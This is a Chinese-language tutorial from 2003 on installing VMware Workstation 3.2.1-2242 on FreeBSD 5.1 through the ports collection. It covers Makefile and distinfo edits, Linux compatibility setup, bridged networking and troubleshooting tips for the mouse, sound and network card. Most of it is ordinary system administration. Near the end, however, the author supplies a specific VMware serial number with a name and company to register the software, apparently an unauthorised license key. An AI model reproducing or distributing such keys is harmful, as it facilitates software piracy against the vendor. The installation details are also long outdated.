FreeBSD 5.1 支持安裝 VMware 的 3.2.1-2237 版本,但是其最新版本已經 3.2.1-2242 版本,因此在使用系統的 ports collection 安裝時會出現一些問題,在本文中將對這些問題進行解決。

我也嘗試過在 FreeBSD 5.1 中安裝 VMware 4,但是由於 FreeBSD 5.1 的 Linux 兼容模式在 /compat/linux/sbin 下缺少對 lsmod 的模擬,所以沒有成功,這個問題只能等待之後 FreeBSD 的主版本或者 port collection 升級之後才能繼續進行嘗試了。當然,也有可能就是你看到這篇文章的時候(當前時間 9:30 PM 7/30/2003),這些東西都已經過時,但是起碼可以提供給你一種解決問題的思路。

首先你需要到 VMware 網站上下載 VMware 3 的最新版本,在我寫這篇文章的時候,最新版本是 3.2.1-2242。下載下來之後的文件名是 VMware-workstation-3.2.1-2242.tar.gz。

然後到 http://people.freebsd.org/~mbr/vmware 下載 vmmon-only-3.2.1-20030514.tar.gz 和 vmnet-only-3.2.1-20030412.tar.gz 這兩個文件。

把這三個文件放到 /usr/ports/distfiles 下。

在一切開始之前,確認你安裝了 FreeBSD 5.1 的 Linux 兼容模式,並且在 rc.conf 中打開了這樣的模式。具體的檢查辦法是輸入 kldstat 指令,如果看到 linux.ko 字樣說明已經成功安裝兼容模式。如果沒有看到,那麼用這樣的辦法安裝:

#cd /usr/ports/emulators/linux_base8
#make install clean

安裝完成之後檢查確認 rc.conf 中已經有 linux_enable = "YES",然後重新啟動之後用 kldstat 應該可以看到 linux.ko 字樣。此時可以在 /compat/linux 下看到 linux 的 bin,usr,sbin,mnt 等。

一切準備妥當之後,第一步是要編輯 /usr/ports/emulators/vmware3 下的 Makefile 和 distinfo 使得其可以適應 2242 版的 vmware 軟件的特性。

首先備份原有的 Makefile 和 distinfo 為 Makefile.2237 和 distinfo.2237。然後按照這個步驟來:

1,編輯 Makefile,把其中的 3.2.1-2237 字樣改成 3.2.1-2242(只有一處需要改)。

2,運行 #md5 VMware-workstation-3.2.1-2242.tar.gz 得到這個文件的 MD5 值,然後記下這個值。

3,編輯 distinfo,把其中的 3.2.1-2237 字樣改成 3.2.1-2242,把 3.2.1-2242 的 MD5 值改成我們剛才得到的那個值。這裡一定不能弄錯。否則無法開始安裝。

4,在 /usr/ports/emulator/vmware3 下運行 # make install 開始安裝。

5,閃過一堆信息之後,出現一個藍色背景的屏幕問你是否使用橋接網絡。我個人感覺橋接網絡比路由網絡好用,所以選是,然後輸入你的網絡設備名,比如 pcn0,ln0,dc0,fxp0 之類。

6,然後繼續安裝,閃過很多安裝過程。最後回到提示符下。這個時候可以測試是否一定成功安裝虛擬網卡,輸入 # /usr/local/etc/rc.d/vmware.sh start,然後 # ifconfig -a,如果看到一個名叫 vmnet1 的設備,那麼就恭喜你成功了!

7,由於使用的是 linux 兼容方式,因此需要在 /etc/fstab 中加入一行:

/linproc /compat/linux/proc linprocfs rw 0 0

8,在 rc.conf 中配置一下 vmware 的虛擬網卡,然後重新啟動計算機。

9,重新啟動完畢之後,將 /usr/local/etc/vmware 下的 config 複製到 /root/.vmware 下。然後編輯這個文件。加入一行 webbrowser="mozilla %s"。

10,將 /usr/local/lib/vmware/lib 下的 licenses 目錄複製到 /usr/lib/vmware 下(/usr/lib/vmware 目錄默認不存在,你將需要自己建立這個目錄)。

11,運行 /usr/local/bin/vmware,然後在 help 裡面輸入序列號,開始使用吧!你已經成功在 FreeBSD 上運行了 VMware 3.2.1-2242,祝賀你!

你可以輸入下面這樣的序列號:

Serial = "6818X-84WD1-01KDK-3JN9X"
Name = "wasily"
CompanyName = "mcn"

在開始使用的時候,還會遇到很多問題,比如鼠標,網卡等等方面的問題,這個時候你就只能進行進一步地研究了。這裡是我發現的一些技巧,用來解決這些可能會發生的問題:

1,鼠標

如果你要在 VMware 中安裝 Windows,那麼鼠標是必須的。如果你用 VMware 的默認方法配置鼠標那麼多半沒法使用,建議你自己調整一下。現在大家用的基本都是都是 PS/2 接口的鼠標,把虛擬機裡面的鼠標設置從從 sysmouse 調整為 ps/2 mouse 就可以正常使用了。

2,聲卡

VMware 3 對聲卡的模擬很糟糕。如果想要實現聲音,最好還是等以後的版本了。不要在這個方面費力氣。而且即使是 Windows Server 2003 都好像沒有帶 VMware 3 中那個虛擬聲卡的驅動程序。

3,網卡

在安裝時,我們用 ifconfig -a 看到的虛擬網卡是 vmnet1,而用嚮導生成的默認設置中的網卡設備名是 vmnet0,所以在 power on 之前還需要修改一下,點 VMware 3 界面的 Settings 的 Configuration Editor 把網卡那裡改成 Custom,設備名寫 /dev/vmnet1 就可以了。

4,如果缺文件?

如果中途在用的時候 VMware 提示缺文件,那麼我建議你最好是把 /usr/local/lib/vmware/lib 下的所有目錄都複製到 /usr/lib/vmware 下!

以上就是我的一些經驗,希望對大家有幫助。這次這麼玩也是有點無奈+無聊來著,我個人最喜歡的是 bsd 三兄弟,但是公司裡面又經常要我寫什麼 .net,com+ 之類,沒辦法就這麼玩了呵呵!

 
PUMA螢光夜跑